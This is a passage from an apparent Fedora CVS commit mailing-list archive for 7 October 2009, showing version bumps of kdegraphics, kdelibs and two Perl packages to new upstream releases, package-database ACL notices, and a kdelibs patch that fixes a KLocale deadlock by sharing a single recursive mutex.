Modified Files:
	.cvsignore kdegraphics.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-10/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	1 Sep 2009 17:32:37 -0000	1.59
+++ .cvsignore	7 Oct 2009 10:41:25 -0000	1.60
@@ -1 +1 @@
-kdegraphics-4.3.1.tar.bz2
+kdegraphics-4.3.2.tar.bz2


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-10/kdegraphics.spec,v
retrieving revision 1.196
retrieving revision 1.197
diff -u -p -r1.196 -r1.197
--- kdegraphics.spec	1 Sep 2009 17:32:37 -0000	1.196
+++ kdegraphics.spec	7 Oct 2009 10:41:25 -0000	1.197
@@ -7,7 +7,7 @@
 
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Name:           kdegraphics
@@ -231,6 +231,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-10/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	1 Sep 2009 17:32:37 -0000	1.68
+++ sources	7 Oct 2009 10:41:26 -0000	1.69
@@ -1 +1 @@
-1657ac3a8773db36b2d89e0bdb332d8b  kdegraphics-4.3.1.tar.bz2
+a364a8c0f5ab0c0d41088c92890e6adb  kdegraphics-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:41:26 +0000 (UTC)
Subject: rpms/kdegraphics/F-11 .cvsignore, 1.64, 1.65 kdegraphics.spec, 1.206,
	1.207 sources, 1.69, 1.70
Message-ID: <20091007104126.9E84A11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegraphics/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8094/F-11

Modified Files:
	.cvsignore kdegraphics.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-11/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	1 Sep 2009 17:32:37 -0000	1.64
+++ .cvsignore	7 Oct 2009 10:41:26 -0000	1.65
@@ -1 +1 @@
-kdegraphics-4.3.1.tar.bz2
+kdegraphics-4.3.2.tar.bz2


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-11/kdegraphics.spec,v
retrieving revision 1.206
retrieving revision 1.207
diff -u -p -r1.206 -r1.207
--- kdegraphics.spec	1 Sep 2009 17:32:37 -0000	1.206
+++ kdegraphics.spec	7 Oct 2009 10:41:26 -0000	1.207
@@ -7,7 +7,7 @@
 
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Name:           kdegraphics
@@ -231,6 +231,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-11/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	1 Sep 2009 17:32:37 -0000	1.69
+++ sources	7 Oct 2009 10:41:26 -0000	1.70
@@ -1 +1 @@
-1657ac3a8773db36b2d89e0bdb332d8b  kdegraphics-4.3.1.tar.bz2
+a364a8c0f5ab0c0d41088c92890e6adb  kdegraphics-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:41:26 +0000 (UTC)
Subject: rpms/kdegraphics/F-12 .cvsignore, 1.67, 1.68 kdegraphics.spec, 1.212,
	1.213 sources, 1.72, 1.73
Message-ID: <20091007104126.DB12611C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegraphics/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8094/F-12

Modified Files:
	.cvsignore kdegraphics.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-12/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Sep 2009 17:32:37 -0000	1.67
+++ .cvsignore	7 Oct 2009 10:41:26 -0000	1.68
@@ -1 +1 @@
-kdegraphics-4.3.1.tar.bz2
+kdegraphics-4.3.2.tar.bz2


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-12/kdegraphics.spec,v
retrieving revision 1.212
retrieving revision 1.213
diff -u -p -r1.212 -r1.213
--- kdegraphics.spec	28 Aug 2009 13:41:16 -0000	1.212
+++ kdegraphics.spec	7 Oct 2009 10:41:26 -0000	1.213
@@ -7,7 +7,7 @@
 
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Name:           kdegraphics
@@ -231,6 +231,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/F-12/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	28 Aug 2009 13:41:16 -0000	1.72
+++ sources	7 Oct 2009 10:41:26 -0000	1.73
@@ -1 +1 @@
-1657ac3a8773db36b2d89e0bdb332d8b  kdegraphics-4.3.1.tar.bz2
+a364a8c0f5ab0c0d41088c92890e6adb  kdegraphics-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:41:27 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:41:27 +0000 (UTC)
Subject: rpms/kdegraphics/devel .cvsignore,1.68,1.69
Message-ID: <20091007104127.10DC411C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegraphics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8094/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegraphics/devel/.cvsignore,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- .cvsignore	5 Oct 2009 13:06:38 -0000	1.68
+++ .cvsignore	7 Oct 2009 10:41:26 -0000	1.69
@@ -1,2 +1 @@
-kdegraphics-4.3.1.tar.bz2
 kdegraphics-4.3.2.tar.bz2



From pkgdb at fedoraproject.org  Wed Oct  7 10:41:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 10:41:58 +0000
Subject: [pkgdb] binutils had acl change status
Message-ID: <20091007104159.2D96210F894@bastion2.fedora.phx.redhat.com>

jkratoch has set the watchcommits acl on binutils (Fedora 12) to Approved for vda

To make changes to this package see:
  /pkgdb/packages/name/binutils



From pkgdb at fedoraproject.org  Wed Oct  7 10:41:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 10:41:59 +0000
Subject: [pkgdb] binutils had acl change status
Message-ID: <20091007104159.4B81410F8A8@bastion2.fedora.phx.redhat.com>

jkratoch has set the watchbugzilla acl on binutils (Fedora 12) to Approved for vda

To make changes to this package see:
  /pkgdb/packages/name/binutils



From mmaslano at fedoraproject.org  Wed Oct  7 10:42:53 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 10:42:53 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-require/devel .cvsignore, 1.3,
	1.4 perl-UNIVERSAL-require.spec, 1.8, 1.9 sources, 1.3, 1.4
Message-ID: <20091007104253.C778411C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-UNIVERSAL-require/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8421

Modified Files:
	.cvsignore perl-UNIVERSAL-require.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-require/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	18 Jan 2007 01:44:45 -0000	1.3
+++ .cvsignore	7 Oct 2009 10:42:53 -0000	1.4
@@ -1 +1 @@
-UNIVERSAL-require-0.11.tar.gz
+UNIVERSAL-require-0.13.tar.gz


Index: perl-UNIVERSAL-require.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-require/devel/perl-UNIVERSAL-require.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-UNIVERSAL-require.spec	26 Jul 2009 17:21:50 -0000	1.8
+++ perl-UNIVERSAL-require.spec	7 Oct 2009 10:42:53 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-require
-Version:        0.11
-Release:        6%{?dist}
+Version:        0.13
+Release:        1%{?dist}
 Summary:        Require() modules from a variable
 Group:          Development/Libraries
 License:        GPL+ or Artistic
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-require/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	18 Jan 2007 01:44:45 -0000	1.3
+++ sources	7 Oct 2009 10:42:53 -0000	1.4
@@ -1 +1 @@
-a93b419333866dcf1e974e8079a41bd7  UNIVERSAL-require-0.11.tar.gz
+e6ea431fac9524077414d531a8cc203c  UNIVERSAL-require-0.13.tar.gz



From mmaslano at fedoraproject.org  Wed Oct  7 10:47:18 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 10:47:18 +0000 (UTC)
Subject: rpms/perl-Text-CSV_XS/devel .cvsignore, 1.7,
	1.8 perl-Text-CSV_XS.spec, 1.17, 1.18 sources, 1.7, 1.8
Message-ID: <20091007104718.1EAEB11C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-Text-CSV_XS/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9233

Modified Files:
	.cvsignore perl-Text-CSV_XS.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.68-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Text-CSV_XS/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Dec 2008 15:11:51 -0000	1.7
+++ .cvsignore	7 Oct 2009 10:47:16 -0000	1.8
@@ -1 +1 @@
-Text-CSV_XS-0.58.tgz
+Text-CSV_XS-0.68.tar.gz


Index: perl-Text-CSV_XS.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Text-CSV_XS/devel/perl-Text-CSV_XS.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- perl-Text-CSV_XS.spec	26 Jul 2009 17:03:57 -0000	1.17
+++ perl-Text-CSV_XS.spec	7 Oct 2009 10:47:17 -0000	1.18
@@ -1,12 +1,12 @@
 Name:           perl-Text-CSV_XS
-Version:        0.58
-Release:        3%{?dist}
+Version:        0.68
+Release:        1%{?dist}
 Summary:        Comma-separated values manipulation routines
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/Text-CSV_XS/
-Source0:        http://www.cpan.org/authors/id/H/HM/HMBRAND/Text-CSV_XS-%{version}.tgz
+Source0:        http://www.cpan.org/authors/id/H/HM/HMBRAND/Text-CSV_XS-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  perl(Test::Pod)
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.68-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.58-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Text-CSV_XS/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Dec 2008 15:11:51 -0000	1.7
+++ sources	7 Oct 2009 10:47:17 -0000	1.8
@@ -1 +1 @@
-0a60b6423f752220716dc0672b482055  Text-CSV_XS-0.58.tgz
+be6b24649b7830791fa5d069d8b3881c  Text-CSV_XS-0.68.tar.gz



From ltinkl at fedoraproject.org  Wed Oct  7 10:49:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:49:19 +0000 (UTC)
Subject: rpms/kdelibs/F-10 kdelibs-4.3.2-kde#209712.patch, NONE,
	1.1 .cvsignore, 
	1.68, 1.69 kdelibs.spec, 1.441, 1.442 sources, 1.83, 1.84
Message-ID: <20091007104919.8690911C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10175/F-10

Modified Files:
	.cvsignore kdelibs.spec sources 
Added Files:
	kdelibs-4.3.2-kde#209712.patch 
Log Message:
KDE 4.3.2


kdelibs-4.3.2-kde#209712.patch:
 klocale.cpp          |   30 ++++++++++++++++--------------
 klocale_p.h          |   10 ++++++++++
 klocalizedstring.cpp |   24 +++++++++++-------------
 3 files changed, 37 insertions(+), 27 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#209712.patch ---
Index: kdecore/localization/klocale_p.h
===================================================================
--- kdecore/localization/klocale_p.h	(Revision 0)
+++ kdecore/localization/klocale_p.h	(Revision 1032185)
@@ -0,0 +1,10 @@
+#ifndef KLOCALE_P_H
+#define KLOCALE_P_H
+
+class QMutex;
+
+// Used by both KLocale and KLocalizedString, since they call each other.
+QMutex* kLocaleMutex();
+
+#endif /* KLOCALE_P_H */
+
Index: kdecore/localization/klocalizedstring.cpp
===================================================================
--- kdecore/localization/klocalizedstring.cpp	(Revision 1032184)
+++ kdecore/localization/klocalizedstring.cpp	(Revision 1032185)
@@ -24,6 +24,7 @@
 #include <kglobal.h>
 #include <kdebug.h>
 #include <klocale.h>
+#include <klocale_p.h>
 #include <kcomponentdata.h>
 #include <klibrary.h>
 #include <kstandarddirs.h>
@@ -126,8 +127,6 @@
 
     QHash<QString, KuitSemantics*> formatters;
 
-    QMutex mutex;
-
     KLocalizedStringPrivateStatics () :
         theFence("|/|"),
         startInterp("$["),
@@ -144,9 +143,7 @@
 
         translits(),
 
-        formatters(),
-
-        mutex(QMutex::Recursive)
+        formatters()
     {}
 
     ~KLocalizedStringPrivateStatics ()
@@ -216,7 +213,7 @@
 QString KLocalizedStringPrivate::toString (const KLocale *locale) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Assure the message has been supplied.
     if (msg.isEmpty())
@@ -474,7 +471,7 @@
                                              const QString &ctxt) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     QString final = text;
 
@@ -499,7 +496,7 @@
                                                        bool &fallback) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -564,7 +561,7 @@
     // fallback is set to true if Transcript evaluation requested so.
 
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     result.clear();
     fallback = false;
@@ -716,7 +713,7 @@
 QVariant KLocalizedStringPrivate::segmentToValue (const QString &seg) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Return invalid variant if segment is either not a proper
     // value reference, or the reference is out of bounds.
@@ -751,7 +748,7 @@
                                                  const QString &final) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -945,7 +942,7 @@
 void KLocalizedStringPrivate::loadTranscript ()
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     s->loadTranscriptCalled = true;
     s->ktrs = NULL; // null indicates that Transcript is not available
@@ -979,7 +976,8 @@
         return;
     }
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    // Very important: do not the mutex here.
+    //QMutexLocker lock(kLocaleMutex());
 
     // Find script modules for all included language/catalogs that have them,
     // and remember their paths.
Index: kdecore/localization/klocale.cpp
===================================================================
--- kdecore/localization/klocale.cpp	(Revision 1032184)
+++ kdecore/localization/klocale.cpp	(Revision 1032185)
@@ -22,6 +22,7 @@
 */
 
 #include "klocale.h"
+#include "klocale_p.h"
 
 #include <config.h>
 
@@ -242,7 +243,6 @@
   // Handling of translation catalogs
   QStringList languageList;
 
-  QMutex* mutex;
   QList<KCatalogName> catalogNames; // list of all catalogs (regardless of language)
   QList<KCatalog> catalogs; // list of all found catalogs, one instance per catalog name and language
   int numberOfSysCatalogs; // number of catalogs that each app draws from
@@ -276,7 +276,6 @@
 KLocalePrivate::KLocalePrivate(const QString& catalog, KConfig *config, const QString &language_, const QString &country_)
     : language(language_),
       country(country_),
-      mutex(new QMutex(QMutex::Recursive)),
       useTranscript(false),
       codecForEncoding(0),
       languages(0), calendar(0),
@@ -311,7 +310,7 @@
 void KLocalePrivate::initMainCatalogs()
 {
   KLocaleStaticData *s = staticData;
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
 
   if (!s->maincatalog.isEmpty()) {
       // If setMainCatalog was called, then we use that (e.g. korgac calls setMainCatalog("korganizer") to use korganizer.po)
@@ -541,7 +540,7 @@
 
 bool KLocalePrivate::setLanguage(const QString & _language, KConfig *config)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   languageList.removeAll( _language );
   languageList.prepend( _language ); // let us consider this language to be the most important one
 
@@ -563,7 +562,7 @@
 
 bool KLocalePrivate::setLanguage(const QStringList & languages)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   // This list might contain
   // 1) some empty strings that we have to eliminate
   // 2) duplicate entries like in de:fr:de, where we have to keep the first occurrence of a language in order
@@ -685,7 +684,7 @@
 
 void KLocale::insertCatalog( const QString & catalog )
 {
-  QMutexLocker lock(d->mutex);
+  QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos != -1) {
         ++d->catalogNames[pos].loadCount;
@@ -736,7 +735,7 @@
 
 void KLocale::removeCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -749,7 +748,7 @@
 
 void KLocale::setActiveCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -759,7 +758,6 @@
 
 KLocale::~KLocale()
 {
-    delete d->mutex;
     delete d->calendar;
     delete d->languages;
     delete d;
@@ -788,7 +786,7 @@
                 << "Fix the program" << endl;
   }
 
-  QMutexLocker locker(mutex);
+  QMutexLocker locker(kLocaleMutex());
   // determine the fallback string
   QString fallback;
   if ( msgid_plural == NULL )
@@ -1370,7 +1368,7 @@
     //Kibi-byte             KiB             2^10    1,024 bytes
 
     if (d->byteSizeFmt.size() == 0) {
-        QMutexLocker lock(d->mutex);
+        QMutexLocker lock(kLocaleMutex());
         // Pretranslated format strings for byte sizes.
         #define CACHEBYTEFMT(x) { \
             QString s; \
@@ -2568,7 +2566,6 @@
 {
   d->languages = 0; // Don't copy languages
   d->calendar = 0; // Don't copy the calendar
-  d->mutex = 0; // Don't copy the mutex
 }
 
 KLocale & KLocale::operator=(const KLocale & rhs)
@@ -2583,8 +2580,7 @@
 
 void KLocale::copyCatalogsTo(KLocale *locale)
 {
-    QMutexLocker lock(d->mutex);
-    QMutexLocker lockOther(locale->d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     locale->d->catalogNames = d->catalogNames;
     locale->d->updateCatalogs();
 }
@@ -2656,3 +2652,9 @@
 {
     return d->dateTimeDigitSet;
 }
+
+Q_GLOBAL_STATIC_WITH_ARGS(QMutex, s_kLocaleMutex, (QMutex::Recursive))
+QMutex* kLocaleMutex()
+{
+    return s_kLocaleMutex();
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-10/.cvsignore,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- .cvsignore	1 Sep 2009 17:41:47 -0000	1.68
+++ .cvsignore	7 Oct 2009 10:49:18 -0000	1.69
@@ -1 +1 @@
-kdelibs-4.3.1.tar.bz2
+kdelibs-4.3.2.tar.bz2


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-10/kdelibs.spec,v
retrieving revision 1.441
retrieving revision 1.442
diff -u -p -r1.441 -r1.442
--- kdelibs.spec	4 Sep 2009 12:27:04 -0000	1.441
+++ kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.442
@@ -3,8 +3,8 @@
 %define strigi_ver 0.7
 
 Summary: K Desktop Environment 4 - Libraries
-Version: 4.3.1
-Release: 3%{?dist}
+Version: 4.3.2
+Release: 2%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -75,9 +75,11 @@ Patch20: kdelibs-4.1.70-cmake.patch
 Patch21: kdelibs-4.3.1-ossl-1.x.patch
 # patch to fix keditbookmarks crash (kde#160679)
 Patch22: kdelibs-4.3.0-bookmarks.patch
+Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
 # 4.3 branch
+Patch100: kdelibs-4.3.2-kde#209712.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -194,9 +196,13 @@ format for easy browsing.
 %patch20 -p1 -b .xxcmake
 %patch21 -p1 -b .ossl-1.x
 %patch22 -p1 -b .bookmarks
+%if 0%{?rhel} > 5
+%patch24 -p1 -b .drkonq
+%endif
 
 # upstream patches
 # 4.3
+%patch100 -p0 -b .kde#209712
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -263,8 +269,10 @@ do
 done
 popd
 
+%if 0%{?fedora} < 12
 install -p -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/profile.d/kde4.sh
 install -p -m 644 -D %{SOURCE2} %{buildroot}%{_sysconfdir}/profile.d/kde4.csh
+%endif
 
 # fix Sonnet documentation multilib conflict
 bunzip2 %{buildroot}%{_kde4_docdir}/HTML/en/sonnet/index.cache.bz2
@@ -309,12 +317,15 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc AUTHORS README TODO
 %doc COPYING.LIB
+%if 0%{?fedora} < 12
 %config(noreplace) %{_sysconfdir}/profile.d/*
+%endif
 %{_kde4_bindir}/*
 %exclude %{_kde4_bindir}/kconfig_compiler4
 %{_kde4_appsdir}/*
 # kdewidgets
 %exclude %{_kde4_bindir}/makekdewidgets4
+%exclude %{_kde4_bindir}/kde4-doxygen.sh
 %exclude %{_kde4_appsdir}/kdewidgets/
 %exclude %{_kde4_appsdir}/cmake/
 %{_kde4_configdir}/*
@@ -384,6 +395,24 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix a deadlock in KLocale
+
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-7
+- move /etc/profile.d/kde4.(sh|csh) to kde-settings (F-12+)
+
+* Mon Sep 21 2009 Than Ngo <than at redhat.com> - 4.3.1-6
+- use abrt for RHEL
+
+* Sat Sep 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-5
+- groupdav connect to egroupware failed (kde#186763)
+
+* Fri Sep 18 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
+- ship kde4-doxygen.sh only in -devel (fix duplicate file)
+
 * Fri Sep 04 2009 Than Ngo <than at redhat.com> - 4.3.1-3
 - security fix for -CVE-2009-2702
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-10/sources,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- sources	1 Sep 2009 17:41:47 -0000	1.83
+++ sources	7 Oct 2009 10:49:19 -0000	1.84
@@ -1 +1 @@
-df6b6d261d46508c7b0abcdd983ffae2  kdelibs-4.3.1.tar.bz2
+0564ed8ba804a0f3f1cee9732a3d2d72  kdelibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:49:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:49:19 +0000 (UTC)
Subject: rpms/kdelibs/F-11 kdelibs-4.3.2-kde#209712.patch, NONE,
	1.1 .cvsignore, 
	1.75, 1.76 kdelibs.spec, 1.495, 1.496 sources, 1.92, 1.93
Message-ID: <20091007104919.B864B11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10175/F-11

Modified Files:
	.cvsignore kdelibs.spec sources 
Added Files:
	kdelibs-4.3.2-kde#209712.patch 
Log Message:
KDE 4.3.2


kdelibs-4.3.2-kde#209712.patch:
 klocale.cpp          |   30 ++++++++++++++++--------------
 klocale_p.h          |   10 ++++++++++
 klocalizedstring.cpp |   24 +++++++++++-------------
 3 files changed, 37 insertions(+), 27 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#209712.patch ---
Index: kdecore/localization/klocale_p.h
===================================================================
--- kdecore/localization/klocale_p.h	(Revision 0)
+++ kdecore/localization/klocale_p.h	(Revision 1032185)
@@ -0,0 +1,10 @@
+#ifndef KLOCALE_P_H
+#define KLOCALE_P_H
+
+class QMutex;
+
+// Used by both KLocale and KLocalizedString, since they call each other.
+QMutex* kLocaleMutex();
+
+#endif /* KLOCALE_P_H */
+
Index: kdecore/localization/klocalizedstring.cpp
===================================================================
--- kdecore/localization/klocalizedstring.cpp	(Revision 1032184)
+++ kdecore/localization/klocalizedstring.cpp	(Revision 1032185)
@@ -24,6 +24,7 @@
 #include <kglobal.h>
 #include <kdebug.h>
 #include <klocale.h>
+#include <klocale_p.h>
 #include <kcomponentdata.h>
 #include <klibrary.h>
 #include <kstandarddirs.h>
@@ -126,8 +127,6 @@
 
     QHash<QString, KuitSemantics*> formatters;
 
-    QMutex mutex;
-
     KLocalizedStringPrivateStatics () :
         theFence("|/|"),
         startInterp("$["),
@@ -144,9 +143,7 @@
 
         translits(),
 
-        formatters(),
-
-        mutex(QMutex::Recursive)
+        formatters()
     {}
 
     ~KLocalizedStringPrivateStatics ()
@@ -216,7 +213,7 @@
 QString KLocalizedStringPrivate::toString (const KLocale *locale) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Assure the message has been supplied.
     if (msg.isEmpty())
@@ -474,7 +471,7 @@
                                              const QString &ctxt) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     QString final = text;
 
